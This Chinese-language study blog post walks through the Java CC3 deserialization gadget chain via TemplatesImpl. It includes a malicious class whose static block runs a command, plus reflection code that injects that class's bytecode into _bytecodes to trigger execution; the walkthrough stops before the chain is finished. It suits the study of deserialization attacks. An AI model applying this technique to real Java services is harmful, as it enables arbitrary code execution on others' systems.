cc3


CC3

一.链子分析

CC1和CC6利用反射触发Runtime.getRuntime().exec()去执行命令的,但是往往很多时候代码中的黑名单都会选择禁用Runtime,而CC3不依靠Runtime类中的exec,而是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码

所以首先要学一下java的类加载机制,推荐此文

(´∇`) 欢迎回来!

根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。然后利用在类加载过程的初始化步骤中会执行静态代码块,通过java的类加载机制,可以让类初始化时,会执行static静态区里的代码。可以测试一下

写一个恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package CC3;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

执行javac test.java命令生成.class文件。

然后我们写一个动态加载类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package CC3;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;

public class CC3 {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException{

        //URLClassLoader加载器需要传入一个url加载类
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {new URL("file:D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\")});
        Class<?> c = urlClassLoader.loadClass("CC3.URLClassLoader_test");
        c.newInstance();
    }
}

image-20250918200147078

这里的话通过URLClassLoader加载器去动态加载类并初始化类对象,这里在初始化的时候执行了static静态区里面的代码,从而执行恶意命令

这里介绍一下上面用的几个异常类

image-20250918195833715

ClassLoader 加载一个类时,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象,这也是我们的入手点

image-20250617150859033

但defineClass只是加载类,不会执行类,如果要执行类,要先进行newInstance()实例化

image-20250918201742830

而且此时defineClass是protected类型的,并不是我们预期的利用方法,我们尝试寻找一下public属性的defineClass()方法

1.TemplatesImpl之defineClass()

image-20250918202646258

TemplatesImpl类继承了ClassLoader并且重写了defineClass方法,这里的话并没有写明是什么类型的方法,所以默认为default类型,可以在类中被调用,跟进看看被谁调用了

2.TemplatesImpl之defineTransletClasses

在defineTransletClasses()方法下发现了这个方法被调用了,但是是private类

image-20250918203142888

继续跟进

3.TemplatesImpl之getTransletInstance

有3个地方调用了,但是为啥getTransletInstance可以,因为其有一个newInstance类的初始化,可以动态调用恶意类中的静态方法

image-20250918204514134

但是该类是私有的,还得继续找

4.TemplatesImpl之newTransformer

到这就就没错了,是public类型,而且还有序列化接口

image-20250918210613896

所以链子就是

1
2
3
4
5
TemplatesImpl::newTransformer()->
    TemplatesImpl::getTransletInstance()->
        TemplatesImpl::defineTransletClasses()->
            TemplatesImpl::defineClass()->
                恶意类代码执行

二.问题解决

入口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();

    }
}

打个断点,调试,跳到newTransformer

image-20250918225021083

(其实不用管newTransformer的参数,它肯定会调用getTransletInstance),接下来就进入到getTransletInstance

1.解决getTransletInstance中name为null的问题

发现name不能为null,_class为null,才会执行defineTransletClasses()方法

image-20250918225708680

看看这两个变量,是私有

image-20250918230054064

看看其构造函数(有2个构造函数,这个接收的对象是字节码,所以显然是这个),并没有对这两个变量进行赋初值操作,那我们正常用反射给_name一个String类型的值就行了

image-20250918231007197

所以demo是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();
        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        templates.newTransformer();



    }
}

打断点调试发现进入了defineTransletClasses()

image-20250918232339858

2.解决defineTransletClasses中bytecodes为null的问题

进入defineTransletClasses发现_bytecodes没赋值,在definClass方法的调用中_bytecodes变量是作为一个一维数组传入的,这也是我们需要执行代码的地方

image-20250919230424662

但是发现其声明的是二维数组

1
    private byte[][] _bytecodes = null;

构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte(_bytecodes[i]是我们需要放入的恶意字节码,那我们修改这里的值为我们之前test测试时候的恶意类),然后把一维byte数组变成二维的交给_bytecodes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);
        templates.newTransformer();


    }
}

运行报错,一问ai是某些必要字段未被正确初始化,且ai提示可能是**_tfactory**未初始化,追踪一下

1
 private transient TransformerFactoryImpl _tfactory = null;

这个变量有一个修饰符叫transient,代表着这个属性是不能被序列化的,意思是反序列化不能给它赋值。

谢谢观看